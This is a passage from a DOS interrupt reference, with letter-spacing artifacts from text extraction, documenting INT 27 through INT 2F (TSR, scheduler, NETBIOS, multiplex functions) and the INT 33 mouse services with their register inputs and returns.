: i nt 27
^I NT 27 - Ter mi nat e and St ay Resi dent


DX = of f set of l ast byt e i n pr ogr amt o r emai n r esi dent pl us 1
CS = segment of ~PSP~

Pagina 961 di 991

r et ur ns not hi ng


- t er mi nat es pr ocess wi t hout cl osi ng open f i l es
- memor y beyond t he of f set i n DX i s f r eed


- see ~I NT 21, 31~

: i nt 28: DOS schedul er
^I NT 28 - DOS I dl e Loop / Schedul er ( Undocument ed)




- i ssued by DOS dur i ng keyboar d pol l l oop
- i ndi cat es DOS may be car ef ul l y r e- ent er ed by TSR
- used by TSR pr ogr ams t o popup and make DOS di sk I / O cal l s
- suppor t ed by OS/ 2 compat i bi l i t y box
- def aul t behavi or i s t o si mpl y per f or man ~I RET~
- any DOS f unct i ons above 0Ch may be cal l ed whi l e i n t hi s handl er
- ~I NT 21, 3F~ and ~I NT 21, 40~ may not use a handl e t hat r ef er s t o
CON whi l e i n t hi s handl er
- see al so ~I NDOS~
: i nt 29
^I NT 29 - DOS Fast Char act er I / O ( Undocument ed 2. x+)


AL = char act er t o wr i t e


r et ur ns not hi ng ???


- used by DOS devi ce dr i ver s t o out put dat a t o t he scr een i f
bi t 4 of t he devi ce at t r i but e wor d i s set
- si mi l ar t o ~I NT 21, 2~ and ~I NT 21, 9~ but much f ast er
- si mpl y cal l s t he BI OS ~I NT 10, E~ i n DOS ver si ons 2. x and 3. x
- advances t he cur sor af t er char act er out put
: i nt 2a
^I NT 2A - DOS Net wor k Cr i t i cal Sect i on and NETBI OS

% For mor e i nf or mat i on see t he f ol l owi ng t opi cs:

~I NT 2A, 0~ Net wor k i nst al l at i on quer y
~I NT 2A, 1~ Execut e NETBI OS r equest wi t h no er r or r et r y
I NT 2A, 2 Set net wor k pr i nt er mode ( not l i st ed)
~I NT 2A, 3~ Check i f di r ect I / O al l owed
~I NT 2A, 4~ Execut e NETBI OS r equest
~I NT 2A, 5~ Get net wor k r esour ce i nf or mat i on
~I NT 2A, 6~ Net wor k pr i nt st r eamcont r ol
~I NT 2A, 80~ Begi n DOS cr i t i cal sect i on
~I NT 2A, 81~ End DOS cr i t i cal sect i on
~I NT 2A, 82~ End DOS cr i t i cal sect i ons 0 t hr ough 7
~I NT 2A, 84~ Keyboar d busy l oop
~I NT 2A, 87~ Cr i t i cal sect i on

- f unct i ons r equest s ar e suppl i ed i n AH
: i nt 2a, 0
^I NT 2A, 0 - Net wor k I nst al l at i on Quer y


Pagina 962 di 991
AH = 00


on r et ur n:
AH = zer o i f not i nst al l ed
= nonzer o i f i nst al l ed


- used t o det emi ne i f a Mi cr osof t compat i bl e net wor k i s pr esent
: i nt 2a, 1
^I NT 2A, 1 - Execut e NETBI OS Request Wi t h No Er r or Ret r y


AH = 01
ES: BX = poi nt er t o Net wor k Cont r ol Bl ock


on r et ur n:
AL = NETBI OS er r or code
AH = zer o i f success
= nonzer o i f er r or


- si mi l ar t o I NT 5C
: i nt 2a, 3
^I NT 2A, 3 - Check i f Di r ect I / O Al l owed


AH = 03
DS: SI = poi nt er t o ASCI I Z di sk devi ce name or pat hname ( i ncl udi ng " : " )


on r et ur n:
CF = set i f di sk access i s NOT al l owed
= cl ear i f di sk access i s al l owed


- do not use ~I NT 13~, ~I NT 25~ or ~I NT 26~ i f t hi s f unct i on r et ur ns
wi t h t he CF set
- see ~I NT 5F, 2~
: i nt 2a, 4
^I NT 2A, 4 - Execut e NETBI OS Request


AH = 04
AL = 00 al l ow r et r y
= 01 no r et r y al l owed
ES: BX = poi nt er t o Net wor k Cont r ol Bl ock ( NCB)


on r et ur n:
AX = 00 i f successf ul
AH = 01 i f er r or
AL = er r or code i f AH = 01


- i nvokes NETBI OS handl er and al l ows r et r y of oper at i on i f speci f i ed
: i nt 2a, 5
^I NT 2A, 5 - Get Net wor k Resour ce I nf or mat i on


AX = 0500

Pagina 963 di 991

on r et ur n:
AX = dest r oyed
BX = number of avai l abl e net wor k names
CX = number of avai l abl e NCB commands
DX = number of avai l abl e sessi ons


- r et ur ns i nf or mat i on on t he number of avai l abl e net wor k r esour ces
: i nt 2a, 6
^I NT 2A, 6 - Net wor k Pr i nt St r eamCont r ol


AH = 06
AL = 01 set concat enat i on mode wher e al l pr i nt er out put i s pl aced
i n one j ob
= 02 set t r uncat i on mode wher e each pr i nt er open and pr i nt er
cl ose st ar t s a new j ob
= 03 f l ush pr i nt er out put t hen st ar t a new pr i nt j ob ( si mi l ar t o
pr essi ng Ct r l - Al t - Kp- * )


on r et ur n:
AX = er r or code i f CF set


- al l ows cont r ol of net wor k pr i nt er s
: i nt 2a, 80
^I NT 2A, 80 - Begi n DOS Cr i t i cal Sect i on

AH = 80h
AL = cr i t i cal sect i on i dent i f i er ( 00- 0F)
= 01 DOS ker nel , SHARE. EXE and net wor k dat a st r uct ur e i nt egr i t y
= 02 DOS ker nel , devi ce dr i ver excl usi vi t y
= 05 I FSFUNC ( I nst al l abl e Fi l e Syst em, I FS, DOS 4. 0+)
= 06 I FSFUNC ( I nst al l abl e Fi l e Syst em, I FS, DOS 4. 0+)
= 08 ASSI GN. COM

r et ur ns not hi ng


- i ndi cat es t hat t he r egi on of code bei ng ent er ed shoul d not be
i nt er r upt ed and i dent i f i es t he cr i t i cal r egi on
- t hi s f unct i on i s not nor mal l y cal l ed by user appl i cat i ons but i s
of t en hooked t o moni t or i f DOS i s i n a cr i t i cal sect i on
- t hi s i nf or mat i on i s necessar y t o r eent er DOS usi ng t he swappabl e
dat a ar ea r et ur ned by ~I NT 21, 5D~ subf unct i on 0B
- see ~Bi bl i ogr aphy~ r ef er ence t o " Undocument ed DOS"
: i nt 2a, 81
^I NT 2A, 81 - End DOS Cr i t i cal Sect i on

AH = 81h
AL = cr i t i cal sect i on i dent i f i er ( 00- 0F)
= 01 DOS ker nel , SHARE. EXE and net wor k dat a st r uct ur e i nt egr i t y
= 02 DOS ker nel , devi ce dr i ver excl usi vi t y
= 05 I FSFUNC ( I nst al l abl e Fi l e Syst em, I FS, DOS 4. 0+)
= 06 I FSFUNC ( I nst al l abl e Fi l e Syst em, I FS, DOS 4. 0+)
= 08 ASSI GN. COM


r et ur ns not hi ng


Pagina 964 di 991
- i ndi cat es t hat a cr i t i cal code sect i on i s bei ng exi t ed
- t hi s f unct i on i s usual l y hooked r at her t hen cal l ed di r ect l y f r oma
user appl i cat i on
- see ~Bi bl i ogr aphy" r ef er ence t o " Undocument ed DOS"
: i nt 2a, 82
^I NT 2A, 82 - End DOS Cr i t i cal Sect i ons 0 t hr u 7


AH = 82h


r et ur ns not hi ng


- t he DOS f unct i on di spat cher cal l s t hi s f unct i on dur i ng DOS
f unct i on 00, f unct i ons above 0C ( excl udi ng f unct i on 59h) and
dur i ng pr ocess t er mi nat i on
- t hi s f unct i on i s usual l y hooked r at her t hen cal l ed di r ect l y f r om
a user appl i cat i on
- see ~Bi bl i ogr aphy~ r ef er ence t o " Undocument ed DOS"
: i nt 2a, 84
^I NT 2A, 84 - Keyboar d Busy Loop


AH = 84h


r et ur ns not hi ng


- al l ows ot her pr ocesses t o cont i nue whi l e wai t i ng f or keyboar d
i nput , si mi l ar t o ~I NT 28~
- see BI BLI O r ef er ence t o " Undocument ed DOS"
: i nt 2a, 87
^I NT 2A, 87 - Cr i t i cal Sect i on


AH = 87h
AL = 00 st ar t cr i t i cal sect i on
= 01 end cr i t i cal sect i on


r et ur ns not hi ng


- speci f i es t he st ar t or end of a cr i t i cal sect i on
- cal l ed by PRI NT. COM
- see ~Bi bl i ogr aphy~ r ef er ence t o " Undocument ed DOS"
: i nt 2e
^I NT 2E - Execut e Command Usi ng Base Level Command I nt er pr et er
^( Undocument ed DOS 2. 0+)

DS: SI = poi nt er t o command st r i ng t o be execut ed

r et ur ns not hi ng ???

- causes t he base l evel COMMAND. COM t o execut e a command as i f i t
wer e t yped f r omt he keyboar d
- t he t r ansi ent por t i on of COMMAND. COM must be l oaded i f not r esi dent
- f i r st byt e of t he st r i ng cont ai ns t he st r i ng l engt h, i ncl usi ve
- command st r i ng must be t er mi nat ed wi t h a CR
- al l r egi st er s i ncl udi ng SS & SP ar e dest r oyed; SS & SP shoul d be
pr eser ved i n your own code segment
Pagina 965 di 991
- can be used t o modi f y par ent s envi r onment wi t h SET command
- i ncompat i bl e under some sof t war e mul t i t aski ng syst ems
- bef or e r et ur ni ng t o t he par ent pr ogr amt hi s i nt er r upt wi l l
at t empt t o execut e t he " cur r ent " bat ch f i l e ( i f t he par ent or
any ancest or s wer e i nvoked f r oma bat ch f i l e. Thi s can cause
r emai ni ng l i nes i n a bat ch f i l e t o execut e bef or e t he par ent
pr ogr amf i ni shes and f r agment memor y
: i nt 2f : mul t i pl ex i nt er r upt
^I NT 2F - DOS Mul t i pl ex I nt er r upt

% For mor e i nf or mat i on see t he f ol l owi ng t opi cs:

ERROR CODES
~I NT 2F, 0~ Get i nst al l ed st at e 01 I nval i d f unct i on
~I NT 2F, 1~ Submi t f i l e 02 Fi l e not f ound
~I NT 2F, 2~ Cancel f i l e 03 Pat h not f ound
~I NT 2F, 3~ Cancel al l f i l es 04 Too many f i l es
~I NT 2F, 4~ Pause / r et ur n st at us 05 Access deni ed
~I NT 2F, 5~ End of st at us 08 Queue f ul l
~I NT 2F, 8~ DRI VER. SYS suppor t 09 Busy
~I NT 2F, 2E~ Er r or Tr ansl at i on Tabl es 0C Name t oo l ong
0F I nval i d dr i ve

- f unct i on r equest i s speci f i ed i n AL or AH
- see ~I NT 2F, 0~ f or i nst al l at i on checks
- I NT 2F uses AL t o speci f y most document ed f unct i ons but occasi onal l y
uses AH al so. Thi s can be qui t e conf usi ng so I NT 2F f unct i ons usi ng
AH ar e not cur r ent l y l i st ed i f t he conf l i ct but wi l l be added at a
l at er t i me.
: i nt 2f , 0
^I NT 2F, 0 - DOS Mul t i pl ex I nt er r upt - Get I nst al l ed St at e

AL = 00
AH = 00 DOS 2. x PRI NT. COM ( undocument ed, see not e bel ow)
01 PRI NT ( undocument ed behavi or al so, see not e bel ow)
05 Cr i t i cal er r or handl er ( undocument ed DOS 3. 0+)
06 ASSI GN ( see not e)
08 DRI VER. SYS ( undocument ed DOS 3. 2+)
10 SHARE
11 Redi r ect or / I FS i s r esi dent
12 Mul t i DOS i s r esi dent
13 Swap 13h and 19h
14 NLSFUNC
15 GRAPHI CS. COM ( see not e bel ow)
MS CD- ROM ext ensi on ( MSCDEX) ( see not e bel ow)
16 Wi ndows 386
17 DOS shel l
19 SHELLB. COM ( DOS 4. 0 onl y)
1A ANSI . SYS ( DOS 4. 0+)
1B XMA2EMS. SYS
40 OS/ 2 compat i bi l i t y box
43 Hi memXMS dr i ver
7A Novel l Net war e I PX
AD DI SPLAY. SYS i nt er nal ( DOS 3. 3+)
AE DOS i nst al l abl e command ext ensi on ( DOS 3. 3+)
B0 GRAFTABL. COM ( DOS 3. 3+)
B4 I BM 3270 emul at i on
B7 APPEND ( DOS 3. 3+)
B8 LAN exi st ence
B9 LAN RECEI VER. COM
BF LAN REDI RI FS. EXE
C0- FF r eser ved f or user appl i cat i ons

Pagina 966 di 991

on r et ur n:
AL = 00 not i nst al l ed, ok t o i nst al l
= 01 not i nst al l ed, do NOT i nst al l
= FF i nst al l ed


- t he i nst al l ed t est f or append r et ur ns non- zer o i f i nst al l ed;
zer o i f not i nst al l ed
- AH = 00 and 01 ar e used by DOS 2. x PRI NT. COM and i s not a check
f or i nst al l ed st at e, see BI BLI O r ef er ence t o " Undocument ed DOS"
- ASSI GN r et ur ns non- zer o i f i nst al l ed
- i nst al l at i on checks wi t h AH=15 do not f ol l ow t he st andar d f or mat ;
- see ~Bi bl i ogr aphy~ r ef er ence t o " Undocument ed DOS"
: i nt 2f , 1: DOS mul t i pl ex
^I NT 2F, 1 - Mul t i pl ex I nt er r upt - Submi t f i l e


AL = 01
AH = 01 r esi dent por t i on of PRI NT
02 r esi dent por t i on of ASSI GN
06 get poi nt er t o ASSI GN dr i ve t r ansl at i on t abl e ( undoc DOS 3+)
10 r esi dent por t i on of SHARE
B7 r esi dent por t i on of APPEND
C0- FF r eser ved f or user appl i cat i ons
DS: DX = poi nt er t o a 5 byt e packet cont ai ni ng an pr i or i t y byt e
and a DWORD poi nt er t o an ASCI I Z f i l ename
DS: DI

on r et ur n:
ES = segment of ASSI GN wor k ar ea and assi gnment t abl e ( AH=6 onl y)

: i nt 2f , 2
^I NT 2F, 2 - Mul t i pl ex I nt er r upt - Cancel f i l e


AL = 02
AH = 01 r esi dent por t i on of PRI NT
02 r esi dent por t i on of ASSI GN
10 r esi dent por t i on of SHARE
B7 r esi dent por t i on of APPEND
C0- FF r eser ved f or user appl i cat i ons
DS: DX = poi nt er t o ASCI I Z f i l ename t o cancel


r et ur ns not hi ng


- accept s wi l dcar ds

: i nt 2f , 3
^I NT 2F, 3 - Mul t i pl ex I nt er r upt - Cancel al l f i l es


AL = 03
AH = 01 r esi dent por t i on of PRI NT
02 r esi dent por t i on of ASSI GN
10 r esi dent por t i on of SHARE
B7 r esi dent por t i on of APPEND
C0- FF r eser ved f or user appl i cat i ons


r et ur ns not hi ng
Pagina 967 di 991

: i nt 2f , 4
^I NT 2F, 4 - Mul t i pl ex I nt er r upt - Pause / r et ur n st at us


AL = 04
AH = 01 r esi dent por t i on of PRI NT
02 r esi dent por t i on of ASSI GN
10 r esi dent por t i on of SHARE
B7 r esi dent por t i on of APPEND
C0- FF r eser ved f or user appl i cat i ons


on r et ur n:
DX = er r or count
DS: SI = poi nt er t o queue of f i l es


- each f i l e i n t he queue i s r epr esent ed by 64 byt e f i l ename
- t he f i l e cur r ent l y bei ng pr i nt ed i s t he f i r st ent r y i n t he queue
- t he l ast ent r y i n t he queue i s a nul l st r i ng

: i nt 2f , 5
^I NT 2F, 5 - Mul t i pl ex I nt er r upt - End of St at us


AL = 05
AH = 01 r esi dent por t i on of PRI NT
02 r esi dent por t i on of ASSI GN
10 r esi dent por t i on of SHARE
B7 r esi dent por t i on of APPEND
C0- FF r eser ved f or user appl i cat i ons


on r et ur n:
AH = er r or code ( see ~I NT 2F~)

: i nt 2f , 6
^I NT 2F, 6 - PRI NT. COM Check f or Er r or on Out put Devi ce ( Undocument ed)


AL = 06
AH = 01


on r et ur n:
AX = er r or code i f CF set
= 00 on success
DS: SI = devi ce dr i ver header i f CF set


- checks t he out put devi ce f or an er r or condi t i on
- undocument ed, avai l abl e si nce DOS 3. 3+
: i nt 2f , 8
^I NT 2F, 8 - DRI VER. SYS Suppor t ( Undocument ed DOS 3. 2+)


AH = 08
AL = 00 i nst al l at i on check
= 01 add new bl ock devi ce
= 02 execut e devi ce dr i ver r equest
= 03 get dr i ve dat a t abl e l i st ( DOS 4. 0+)
DS: DI = poi nt er t o dr i ve dat a t abl e ( AL=01)
Pagina 968 di 991
ES: BX = poi nt er t o devi ce dr i ver r equest header ( AL=02)


on r et ur n:
AL = 00 not i nst al l ed, ok t o i nst al l ( AL=00)
= 01 not i nst al l ed, do NOT i nst al l ( AL=00)
= FF i nst al l ed ( AL=00)
ES: BX = updat ed devi ce r equest header ( AL=02)

- f unct i on 01 scans DOS' s dr i ve dat a t abl es and appends t he new
dat a t abl e t o t o t he chai n. Al l t abl es r ef er enci ng t he same
physi cal dr i ve ar e updat ed

: i nt 2f , 2e
^I NT 2F, 2E - Set up Er r or Code Tr ansl at i on Tabl es ( undoc. DOS 4. x+)


- di scover ed i n DOS 4. x by J i mKyl e, t hi s f unct i on pr ovi des mor e
det ai l ed i nf or mat i on on t he pendi ng cr i t i cal er r or .

: i nt 2f , 80
^I NT 2F, 80 - PRI NT. COM Ti me Sl i ce Al l ot ment ( Undocument ed DOS 3. 1+)

AL = 80h
AH = 00


r et ur ns not hi ng


- DOS PRI NT. COM i s gi ven a t i me sl i ce
: i nt 33: mouse i nt er r upt : mouse ser vi ces
^I NT 33 - Mouse Funct i on Cal l s

% For mor e i nf or mat i on see t he f ol l owi ng t opi cs:

~I NT 33, 0~ Mouse Reset / Get Mouse I nst al l ed Fl ag
~I NT 33, 1~ Show Mouse Cur sor
~I NT 33, 2~ Hi de Mouse Cur sor
~I NT 33, 3~ Get Mouse Posi t i on and But t on St at us
~I NT 33, 4~ Set Mouse Cur sor Posi t i on
~I NT 33, 5~ Get Mouse But t on Pr ess I nf or mat i on
~I NT 33, 6~ Get Mouse But t on Rel ease I nf or mat i on
~I NT 33, 7~ Set Mouse Hor i zont al Mi n/ Max Posi t i on
~I NT 33, 8~ Set Mouse Ver t i cal Mi n/ Max Posi t i on
~I NT 33, 9~ Set Mouse Gr aphi cs Cur sor
~I NT 33, A~ Set Mouse Text Cur sor
~I NT 33, B~ Read Mouse Mot i on Count er s
~I NT 33, C~ Set Mouse User Def i ned Subr out i ne and I nput Mask
~I NT 33, D~ Mouse Li ght Pen Emul at i on On
~I NT 33, E~ Mouse Li ght Pen Emul at i on Of f
~I NT 33, F~ Set Mouse Mi ckey Pi xel Rat i o
~I NT 33, 10~ Mouse Condi t i onal OFF
~I NT 33, 13~ Set Mouse Doubl e Speed Thr eshol d
~I NT 33, 14~ Swap i nt er r upt subr out i nes
~I NT 33, 15~ Get mouse dr i ver st at e and memor y r equi r ement s
~I NT 33, 16~ Save mouse dr i ver st at e
~I NT 33, 17~ Rest or e mouse dr i ver st at e
~I NT 33, 18~ Set al t er nat e subr out i ne cal l mask and addr ess
~I NT 33, 19~ Get user al t er nat e i nt er r upt addr ess
~I NT 33, 1A~ Set mouse sensi t i vi t y
~I NT 33, 1B~ Get mouse sensi t i vi t y
~I NT 33, 1C~ Set mouse i nt er r upt r at e ( I nPor t onl y)
Pagina 969 di 991
~I NT 33, 1D~ Set mouse CRT page
~I NT 33, 1E~ Get mouse CRT page
~I NT 33, 1F~ Di sabl e mouse dr i ver
~I NT 33, 20~ Enabl e mouse dr i ver
~I NT 33, 21~ Reset mouse sof t war e
~I NT 33, 22~ Set l anguage f or messages
~I NT 33, 23~ Get l anguage number
~I NT 33, 24~ Get dr i ver ver si on, mouse t ype & ~I RQ~ number

- f unct i on i s speci f i ed i n AX
- a mi ckey i s 1/ 200 i nches
- f or addi t i onal i nf or mat i on see your vendor document at i on
- f unct i on number occupi es al l of AX r at her t han AH


^Mouse f unct i ons can be br oken down i nt o t he f ol l owi ng cl asses:

% Mouse Dr i ver Cont r ol / Feedback Funct i ons
~I NT 33, 0~ Mouse Reset / Get Mouse I nst al l ed Fl ag
~I NT 33, 15~ Get Mouse Dr i ver St at e and Memor y Requi r ement s
~I NT 33, 16~ Save Mouse Dr i ver St at e
~I NT 33, 17~ Rest or e Mouse Dr i ver St at e
~I NT 33, 1C~ Set Mouse I nt er r upt Rat e ( I nPor t onl y)
~I NT 33, 1F~ Di sabl e Mouse Dr i ver
~I NT 33, 20~ Enabl e Mouse Dr i ver
~I NT 33, 21~ Reset Mouse Sof t war e
~I NT 33, 24~ Get Dr i ver Ver si on, Mouse Type & I RQ Number

% Mouse Cur sor Cont r ol Funct i ons
~I NT 33, 1~ Show Mouse Cur sor
~I NT 33, 2~ Hi de Mouse Cur sor
~I NT 33, 4~ Set Mouse Cur sor Posi t i on
~I NT 33, 7~ Set Mouse Hor i zont al Mi n/ Max Posi t i on
~I NT 33, 8~ Set Mouse Ver t i cal Mi n/ Max Posi t i on
~I NT 33, 9~ Set Mouse Gr aphi cs Cur sor
~I NT 33, A~ Set Mouse Text Cur sor
~I NT 33, F~ Set Mouse Mi ckey Pi xel Rat i o
~I NT 33, 10~ Mouse Condi t i onal OFF
~I NT 33, 13~ Set Mouse Doubl e Speed Thr eshol d
~I NT 33, 1A~ Set Mouse Sensi t i vi t y
~I NT 33, 1B~ Get Mouse Sensi t i vi t y

% Mouse But t on and Posi t i on Feedback Funct i ons
~I NT 33, 3~ Get Mouse Posi t i on and But t on St at us
~I NT 33, 5~ Get Mouse But t on Pr ess I nf or mat i on
~I NT 33, 6~ Get Mouse But t on Rel ease I nf or mat i on
~I NT 33, B~ Read Mouse Mot i on Count er s

% Vi deo Cont r ol and Feedback Funct i ons
~I NT 33, 1D~ Set Mouse CRT Page
~I NT 33, 1E~ Get Mouse CRT Page

% Mouse I nt er r upt Set up Funct i ons
~I NT 33, C~ Set Mouse User Def i ned Subr out i ne and I nput Mask
~I NT 33, 14~ Swap I nt er r upt Subr out i nes

% Al t er nat e Mouse I nt er r upt Set up Funct i ons
~I NT 33, 18~ Set Al t er nat e Subr out i ne Cal l Mask and Addr ess
~I NT 33, 19~ Get User Al t er nat e I nt er r upt Addr ess

% Li ght Pen Emul at i on Funct i ons
~I NT 33, D~ Mouse Li ght Pen Emul at i on On
~I NT 33, E~ Mouse Li ght Pen Emul at i on Of f
Pagina 970 di 991

% I nt er nat i onal Language Suppor t Funct i ons
~I NT 33, 22~ Set Language f or Messages
~I NT 33, 23~ Get Language Number

: i nt 33, 0
^I NT 33, 0 - Mouse Reset / Get Mouse I nst al l ed Fl ag

AX = 00


on r et ur n:
AX = 0000 mouse dr i ver not i nst al l ed
FFFF mouse dr i ver i nst al l ed
BX = number of but t ons


- r eset s mouse t o def aul t dr i ver val ues:

. mouse i s posi t i oned t o scr een cent er
. mouse cur sor i s r eset and hi dden
. no i nt er r upt s ar e enabl ed ( mask = 0)
. doubl e speed t hr eshol d set t o 64 mi ckeys per second
. hor i zont al mi ckey t o pi xel r at i o ( 8 t o 8)
. ver t i cal mi ckey t o pi xel r at i o ( 16 t o 8)
. max wi dt h and hei ght ar e set t o maxi mumf or vi deo mode
: i nt 33, 1
^I NT 33, 1 - Show Mouse Cur sor


AX = 01


r et ur ns not hi ng


- i ncr ement s t he cur sor f l ag; t he cur sor i s di spl ayed i f f l ag
i s zer o; def aul t f l ag val ue i s - 1

: i nt 33, 2
^I NT 33, 2 - Hi de Mouse Cur sor


AX = 02


r et ur ns not hi ng


- decr ement s cur sor f l ag; hi des cur sor i f f l ag i s not zer o

: i nt 33, 3
^I NT 33, 3 - Get Mouse Posi t i on and But t on St at us


AX = 03


on r et ur n:
CX = hor i zont al ( X) posi t i on ( 0. . 639)
DX = ver t i cal ( Y) posi t i on ( 0. . 199)
BX = but t on st at us:

Pagina 971 di 991
F- 8 7 6 5 4 3 2 1 0 But t on St at us
l ef t but t on ( 1 = pr essed)
r i ght but t on ( 1 = pr essed)
unused


- val ues r et ur ned i n CX, DX ar e t he same r egar dl ess of vi deo mode

: i nt 33, 4
^I NT 33, 4 - Set Mouse Cur sor Posi t i on


AX = 4
CX = hor i zont al posi t i on
DX = ver t i cal posi t i on


r et ur ns not hi ng


- def aul t cur sor posi t i on i s at t he scr een cent er
- t he posi t i on must be wi t hi n t he r ange of t he cur r ent vi deo mode
- t he posi t i on may be r ounded t o f i t scr een mode r esol ut i on

: i nt 33, 5
^I NT 33, 5 - Get Mouse But t on Pr ess I nf or mat i on


AX = 5
BX = 0 l ef t but t on
1 r i ght but t on


on r et ur n:
BX = count of but t on pr esses ( 0- 32767) , set t o zer o af t er cal l
CX = hor i zont al posi t i on at l ast pr ess
DX = ver t i cal posi t i on at l ast pr ess
AX = st at us:

F- 8 7 6 5 4 3 2 1 0 But t on St at us
l ef t but t on ( 1 = pr essed)
r i ght but t on ( 1 = pr essed)
unused

: i nt 33, 6
^I NT 33, 6 - Get Mouse But t on Rel ease I nf or mat i on


AX = 6
BX = 0 l ef t but t on
1 r i ght but t on


on r et ur n:
BX = count of but t on r el eases ( 0- 32767) , set t o zer o af t er cal l
CX = hor i zont al posi t i on at l ast r el ease
DX = ver t i cal posi t i on at l ast r el ease
AX = st at us

F- 8 7 6 5 4 3 2 1 0 But t on st at us
l ef t but t on ( 1 = pr essed)
r i ght but t on ( 1 = pr essed)
unused
Pagina 972 di 991

: i nt 33, 7
^I NT 33, 7 - Set Mouse Hor i zont al Mi n/ Max Posi t i on


AX = 7
CX = mi ni mumhor i zont al posi t i on
DX = maxi mumhor i zont al posi t i on


r et ur ns not hi ng


- r est r i ct s mouse hor i zont al movement t o wi ndow
- i f mi n val ue i s gr eat er t han max val ue t hey ar e swapped

: i nt 33, 8
^I NT 33, 8 - Set Mouse Ver t i cal Mi n/ Max Posi t i on


AX = 8
CX = mi ni mumver t i cal posi t i on
DX = maxi mumver t i cal posi t i on


r et ur ns not hi ng


- r est r i ct s mouse ver t i cal movement t o wi ndow
- i f mi n val ue i s gr eat er t han max val ue t hey ar e swapped

: i nt 33, 9
^I NT 33, 9 - Set Mouse Gr aphi cs Cur sor


AX = 9
BX = hor i zont al hot spot ( - 16 t o 16)
CX = ver t i cal hot spot ( - 16 t o 16)
ES: DX = poi nt er t o scr een and cur sor masks ( 16 byt e bi t map)


r et ur ns not hi ng


- scr een mask i s AND' ed t o scr een Cur sor Mask i s XOR' ed
- byt es 0- 7 f or mt he scr een mask bi t map
- byt es 8- F f or mt he cur sor mask bi t map

: i nt 33, a
^I NT 33, A - Set Mouse Text Cur sor


AX = 0A
BX = 00 sof t war e cur sor
01 har dwar e cur sor
CX = st ar t of scr een mask or har dwar e cur sor scan l i ne
DX = end of scr een mask or har dwar e cur sor scan l i ne


r et ur ns not hi ng

: i nt 33, b
^I NT 33, B - Read Mouse Mot i on Count er s
Pagina 973 di 991


AX = 0B


on r et ur n:
CX = hor i zont al mi ckey count ( - 32768 t o 32767)
DX = ver t i cal mi ckey count ( - 32768 t o 32767)


- count val ues ar e 1/ 200 i nch i nt er val s ( 1/ 200 i n. = 1 mi ckey)

: i nt 33, c
^I NT 33, C - Set Mouse User Def i ned Subr out i ne and I nput Mask

AX = 0C
ES: DX = f ar poi nt er t o user i nt er r upt
CX = user i nt er r upt mask:

F- 5 4 3 2 1 0 user i nt er r upt mask i n CX
cur sor posi t i on changed
l ef t but t on pr essed
l ef t but t on r el eased
r i ght but t on pr essed
r i ght but t on r el eased
unused

r et ur ns not hi ng


- r out i ne at ES: DX i s cal l ed i f an event occur s and t he
cor r espondi ng bi t speci f i ed i n user mask i s set
- r out i ne at ES: DX r ecei ves par amet er s i n t he f ol l owi ng
r egi st er s:

AX = condi t i on mask causi ng cal l
CX = hor i zont al cur sor posi t i on
DX = ver t i cal cur sor posi t i on
DI = hor i zont al count s
SI = ver t i cal count s
DS = mouse dr i ver dat a segment
BX = but t on st at e:

F- 2 1 0
l ef t but t on ( 1 = pr essed)
r i ght but t on ( 1 = pr essed)
unused

- i ni t i al cal l mask and user r out i ne shoul d be r est or e on exi t
f r omuser pr ogr am
- user pr ogr ammay need t o set DS t o i t ' s own segment
- see ~I NT 33, 14~

: i nt 33, d
^I NT 33, D - Mouse Li ght Pen Emul at i on On


AX = 0D


r et ur ns not hi ng


Pagina 974 di 991
- t ur ns on l i ght pen emul at i on; t he l i ght pen i s consi der ed
down when bot h but t ons ar e down; when bot h but t ons ar e
up t he pen i s consi der ed of f scr een

- see ~I NT 33, E~

: i nt 33, e
^I NT 33, E - Mouse Li ght Pen Emul at i on Of f


AX = 0E


r et ur ns not hi ng


- di sabl es l i ght pen emul at i on

- see ~I NT 33, D~

: i nt 33, f
^I NT 33, F - Set Mouse Mi ckey Pi xel Rat i o


AX = 0F
CX = hor i zont al r at i o ( 1. . 32767, def aul t 8)
DX = ver t i cal r at i o ( 1. . 32767, def aul t 16)


r et ur ns not hi ng


- set s t he r at i o bet ween physi cal cur sor movement ( mi ckeys) and
scr een coor di nat e changes
- CX and DX must be unsi gned ( hi gh bi t must be 0)

: i nt 33, 10
^I NT 33, 10 - Mouse Condi t i onal OFF


AX = 10h
CX = upper X scr een coor di nat e
DX = upper Y scr een coor di nat e
SI = l ower X scr een coor di nat e
DI = l ower Y scr een coor di nat e


r et ur ns not hi ng


- def i nes scr een r egi on f or updat i ng i n whi ch t he mouse i s hi dden
i f f ound t hese coor di nat es ( I NT 33, 1 must be used t o t ur n cur sor
on agai n)

- see ~I NT 33, 1~

: i nt 33, 13
^I NT 33, 13 - Set Mouse Doubl e Speed Thr eshol d


AX = 13h
DX = t hr eshol d speed ( mi ckeys per second, def aul t 64)

Pagina 975 di 991

r et ur ns not hi ng


- cur sor speed i s doubl ed when t he cur sor moves acr oss t he scr een
at t he t hr eshol d speed

: i nt 33, 14
^I NT 33, 14 - Swap I nt er r upt Subr out i nes

AX = 14h
ES: DX = f ar poi nt er t o user r out i ne
CX = user i nt er r upt mask:

F- 8 7 6 5 4 3 2 1 0 user i nt er r upt mask i n CX
cur sor posi t i on changed
l ef t but t on pr essed
l ef t but t on r el eased
r i ght but t on pr essed
r i ght but t on r el eased
unused

on r et ur n:
CX = pr evi ous user i nt er r upt mask
ES: DX = f ar poi nt er t o pr evi ous user i nt er r upt

- r out i ne at ES: DX i s cal l ed i f an event occur s and t he
cor r espondi ng bi t speci f i ed i n user mask i s set
- r out i ne at ES: DX r ecei ves par amet er s i n t he f ol l owi ng
r egi st er s:

AX = condi t i on mask causi ng cal l
CX = hor i zont al cur sor posi t i on
DX = ver t i cal cur sor posi t i on
DI = hor i zont al count s
SI = ver t i cal count s
DS = mouse dr i ver dat a segment
BX = but t on st at e:

F- 2 1 0
l ef t but t on ( 1 = pr essed)
r i ght but t on ( 1 = pr essed)
unused

- i ni t i al cal l mask and user r out i ne shoul d be r est or e on exi t
f r omuser pr ogr am
- user pr ogr ammay need t o set DS t o i t ' s own segment
- see ~I NT 33, C~

: i nt 33, 15
^I NT 33, 15 - Get Mouse Dr i ver St at e and Memor y Requi r ement s


AX = 15h


on r et ur n
BX = buf f er si ze need t o hol d cur r ent mouse st at e


- used bef or e mouse f unct i ons 16h and 17h t o det er mi ne memor y
needed t o save mouse st at e bef or e gi vi ng up cont r ol of mouse
t o anot her pr ogr am
Pagina 976 di 991

: i nt 33, 16
^I NT 33, 16 - Save Mouse Dr i ver St at e


AX = 16h
ES: DX = f ar poi nt er t o mouse st at e save buf f er


r et ur ns not hi ng


